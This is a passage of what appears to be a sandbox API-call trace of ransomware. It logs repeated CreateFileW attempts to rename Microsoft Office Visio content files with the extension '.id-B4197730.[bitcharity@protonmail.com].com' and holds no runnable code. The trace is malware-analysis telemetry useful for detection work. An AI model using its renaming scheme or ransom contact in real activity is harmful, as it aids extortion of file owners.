[0274.187] CloseHandle (hObject=0x112c) returned 1 [0274.188] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.188] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CUBICL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\cubicl_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.188] CloseHandle (hObject=0x112c) returned 1 [0274.189] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.189] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CUBICL_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\cubicl_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.451] CloseHandle (hObject=0x112c) returned 1 [0274.801] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.801] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\DTLNET_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\dtlnet_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.801] CloseHandle (hObject=0x10bc) returned 1 [0274.802] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.802] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEGENR_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eegenr_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.802] CloseHandle (hObject=0x10bc) returned 1 [0274.803] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.803] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEICS_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eeics_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.803] CloseHandle (hObject=0x10bc) returned 1 [0274.803] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.804] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEICS_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eeics_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.804] CloseHandle (hObject=0x10bc) returned 1 [0274.804] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.804] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEMAIN_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eemain_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.805] CloseHandle (hObject=0x10bc) returned 1 [0274.805] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.805] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEMAIN_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eemain_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.805] CloseHandle (hObject=0x10bc) returned 1 [0274.806] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.806] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEMAPS_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eemaps_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.806] CloseHandle (hObject=0x10bc) returned 1 [0274.807] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.807] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEMAPS_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eemaps_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.807] CloseHandle (hObject=0x10bc) returned 1 [0274.808] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.808] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEMECH_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eemech_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.808] CloseHandle (hObject=0x10bc) returned 1 [0274.808] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.808] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEMECH_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eemech_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.809] CloseHandle (hObject=0x10bc) returned 1 [0274.811] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.811] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEPATH_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eepath_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.811] CloseHandle (hObject=0x10bc) returned 1 [0274.812] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.812] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEPATH_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eepath_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.812] CloseHandle (hObject=0x10bc) returned 1 [0274.813] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.813] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEPATH_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eepath_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.813] CloseHandle (hObject=0x10bc) returned 1 [0274.814] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.814] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEPATH_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eepath_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.815] CloseHandle (hObject=0x10bc) returned 1 [0274.815] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.815] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEQUAL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eequal_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.816] CloseHandle (hObject=0x10bc) returned 1 [0274.816] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.816] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEQUAL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eequal_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.817] CloseHandle (hObject=0x10bc) returned 1 [0274.817] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.817] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEQUAL_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eequal_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.817] CloseHandle (hObject=0x10bc) returned 1 [0274.818] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.818] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EEQUAL_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eequal_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.818] CloseHandle (hObject=0x10bc) returned 1 [0274.820] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.820] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EESEMI_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eesemi_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.820] CloseHandle (hObject=0x10bc) returned 1 [0274.820] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.820] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EESEMI_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eesemi_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.821] CloseHandle (hObject=0x10bc) returned 1 [0274.821] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.821] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EESEMI_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eesemi_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.821] CloseHandle (hObject=0x10bc) returned 1 [0274.822] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.822] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EESEMI_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eesemi_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.822] CloseHandle (hObject=0x10bc) returned 1 [0274.823] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.823] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EESWCH_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eeswch_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.823] CloseHandle (hObject=0x10bc) returned 1 [0274.824] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.824] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EESWCH_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eeswch_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.824] CloseHandle (hObject=0x10bc) returned 1 [0274.824] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.825] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EESWCH_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eeswch_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.825] CloseHandle (hObject=0x10bc) returned 1 [0274.825] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.825] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EESWCH_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eeswch_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.826] CloseHandle (hObject=0x10bc) returned 1 [0274.826] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.826] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EESYS_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eesys_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.827] CloseHandle (hObject=0x10bc) returned 1 [0274.828] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.828] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EESYS_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eesys_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.828] CloseHandle (hObject=0x1168) returned 1 [0274.829] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.829] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\EETCOM_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\eetcom_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.829] CloseHandle (hObject=0x1168) returned 1 [0274.830] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.830] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 